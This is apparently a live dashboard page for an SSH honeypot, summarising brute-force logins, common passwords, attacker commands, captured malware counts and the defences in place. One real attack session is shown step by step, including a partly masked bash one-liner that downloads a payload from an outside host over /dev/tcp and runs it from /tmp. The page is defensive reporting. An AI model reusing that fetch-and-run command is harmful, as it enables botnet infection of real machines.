A fake server. Real attackers. Every move recorded.
This SSH honeypot looks like an easy target. Bots and people break in every few minutes. Here is what they try — live.
Refreshes every 15 minutes
Real data. Every credential, command and file hash below comes from actual attacks. Attacker addresses and passwords are partly masked on this page. The honeypot is isolated — real services never see this traffic.
The attacks never stop.
Sessions per day since 2026-03-21. Spikes are campaigns arriving in waves.
Daily attack volume
liveCollecting…
The busiest attackers, by sessions.
Mostly hijacked cloud servers and botnets — rarely a person at a keyboard.
Top attackers
masked- Collecting…
Threat score 0–100 from behaviour, reputation and enrichment.
When they attack (UTC)
all timeCollecting…
Flat, around the clock. Machines don't sleep.
The passwords attackers bet on.
If yours is on this list, change it today.
Usernames
top 10- Collecting…
Passwords
partly masked- Collecting…
Pairs tried together
partly masked- Collecting…
What they do after they get in.
First they look around. Then they try to stay — and to make money from the machine.
By purpose
categoriesCollecting…
Most common commands
top 10- Collecting…
Botnet recruitment in four moves.
A real session from 15 April 2026. An automated scanner on a cloud server in Hong Kong tried to turn the honeypot into a DDoS bot.
Addresses masked. Nothing here was invented.
- 01Brute-force login
It got in with one of the most common pairs on this page.
root / 12••••
- 02Is this a honeypot?
An anti-honeypot check: real servers return binary data here.
cat /bin/echo
- 03Download and run
It pulled a payload from a hijacked home connection in California, bypassing download tools.
bash -c "exec 6<>/dev/tcp/47.180.x.x/… ; … chmod +x /tmp/… ; /tmp/…"
- 04The payload
A 1.4 MB packed Linux binary — typical Mirai-family IoT/DDoS botnet behaviour. Captured and fingerprinted.
The malware they leave behind.
209 distinct binaries so far, each fingerprinted by its SHA-256.
Most recent captures
sha256- Collecting…
What happens to them afterwards.
Every attacker here is recognised, blocked at the edge and shared with a community of defenders.
Defense right now
live- Active block decisions53,789
- Edge blocks on the router22,652
- Detections raised9,156
- Community verdicts received18,850
- Web log lines analysed16,613,528
Latest blocks
masked- Collecting…
Edge firewall
Known-bad addresses are dropped at the router, before they reach the server.
The honeypot
The exposed login leads only here — a fake shell that records everything.
Detection
Web attacks are recognised and banned automatically, shared both ways.
Single sign-on
Every real service sits behind one login with multi-factor authentication.
In 206 days, 10,787 attackers tried 638,258 logins with 79,319 different passwords.
They dropped 209 malware binaries and ran 55,030 commands. All of it was captured and neutralised — automatically.